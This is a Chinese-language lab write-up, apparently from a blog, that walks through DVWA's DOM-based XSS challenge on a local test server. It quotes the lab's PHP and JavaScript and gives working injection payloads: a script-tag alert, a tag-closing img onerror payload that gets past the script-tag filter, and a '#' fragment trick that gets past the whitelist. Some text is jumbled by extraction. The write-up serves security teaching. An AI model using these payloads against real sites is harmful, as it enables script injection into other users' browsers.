建立時間:2022年5月3日21:00:01
作者:在下小黃
- 每個頁面都有自己的
樹,通過修改DOM
樹使得惡意腳本被執行。DOM
-
即DOM
文檔對象模型,是以後面代碼主要注重前端。Document Object Model
一、Low 級别:
- 我們拿到靶場之後發現有選擇框,然後我選擇
之後發現URL位址欄拼接了我們選擇框的内容English
- 打開源代碼分析之後發現,服務端并沒有任何的
代碼,是以說執行判斷的隻有用戶端的JavaScript代碼。(非常符合DOM型XSS)PHP
- 檢查一下源代碼:發現使用了很多
對象代表目前文檔,使用window 對象的 document 屬性通路。document
- 使用
對象的document
和 write()
方法可以動态生成文檔内容,包括以下兩種方式:writeln()
- 在浏覽器解析時動态輸出資訊。
- 在調用事件處理函數時使用 write() 或 writeln() 方法生成文檔内容。
-
方法可以支援多個參數,當為它傳遞多個參數時,這些參數将被依次寫入文檔。write()
- 前端将
上傳的GET
參數加入到default
元素的頁籤中,每當頁面被呈現時,惡意代碼就可以運作。<select>
- 後端沒有做任何防護,意思就是随便注。
傳回字元串
document.location.href.indexOf(str)
str
第一個字元的下标。
構造下标從
document.location.href.substring(start, end)
到
start
的子串。
end
- 直接在URL中通過修改default參數上傳XSS注入。
- 我們嘗試一下看看插入一條
語句會有什麼變化。XSS
<script>alert(1)</script>
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English
|
|
|
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>
- 可以看出我們成功了
- 檢查一下源代碼,看看注入惡意語句之後跟之前的變化
<option value='變量lang 的值'>English<script>alert(/xss/);</script></option>
二、Medium 級别:
- 打開服務端源代碼檢視:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
- 前端代碼沒變(之後也應該不變),後端增加了對
的過濾。<script
- 這裡可以使用沒有被屏蔽的标簽進行注入。
- 檢查代碼我們發現,在代碼裡面對
- 正常的
的值是從這個當中選出來的,那麼我們可以通過構造閉合來執行我們的語呢?value
- 把
替換成English
那麼這個語句是怎麼閉合的呢?>/option></select><img src=1 onerror=alert(/xss/)></option>
- 學過html語言的我們都知道
都是雙标簽,也就是說會識别兩個标簽之間的語句,那麼我們就人為把它閉合起來,在執行過程中,一旦存在一對标簽,那麼就會執行這裡面的語句,無法構成成對标簽的不會執行裡面的語句,而是單标簽,也就是說他要執行的語句涵蓋在它裡面。通過構造閉合,我們成功執行xss。(簡單來說就是構造語句閉合形成XSS)<option></select>
- 簡單來說:将
和<option>
标簽閉合,保證<select>
标簽可以插入。img
</option></select><img src=1 onerror=alert(/xss/)>
三、High 級别:
- 首先我們打開源代碼看一下,進行一下簡單的代碼審計,代碼上寫的是不需要做任何事情,全在用戶端
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages ,白名單
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
- 白名單隻允許傳的
值 為default
其中一個 French、 English、 German、 Spanish
- 若不在白名單内,預設設定為English。
- 嘗試構造攻擊語句:
- 使用
或者&
分隔參數,#
指向分隔符之前的内容,參與後端判斷語句。$_GET['default']
- 根據前端代碼可知,分隔符之後的内容也會載入到前端頁面中,故可實作惡意代碼的注入。
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
- 插入頁面的實際效果:
<option value=''>English #<script>alert(/xss/)</script></option>
- 由于 form表單送出的資料 想經過JS 過濾 是以注釋部分的javascript 代碼不會被傳到伺服器端(也就符合了白名單的要求)
四、Impossible 級别:
- 還是開頭檢查源代碼,發現不需要做任何事,在用戶端處理
- 當我們打開源代碼之後。發現網頁源碼内容也同樣發生了變化:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
---------------------------------防禦XSS-----------------------------------
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
- 之前的惡意代碼之是以能夠運作就是因為在呈現頁面元素時,将
中已經編好碼的參數使用URL
解碼,解碼後的代碼才可以執行。decodeURI()
- 前端不解碼直接呈現參數
lang
,導緻惡意代碼編碼後無法被解析。
ish German
- 之前的惡意代碼之是以能夠運作就是因為在呈現頁面元素時,将
中已經編好碼的參數使用URL
解碼,解碼後的代碼才可以執行。decodeURI()
- 前端不解碼直接呈現參數
,導緻惡意代碼編碼後無法被解析。lang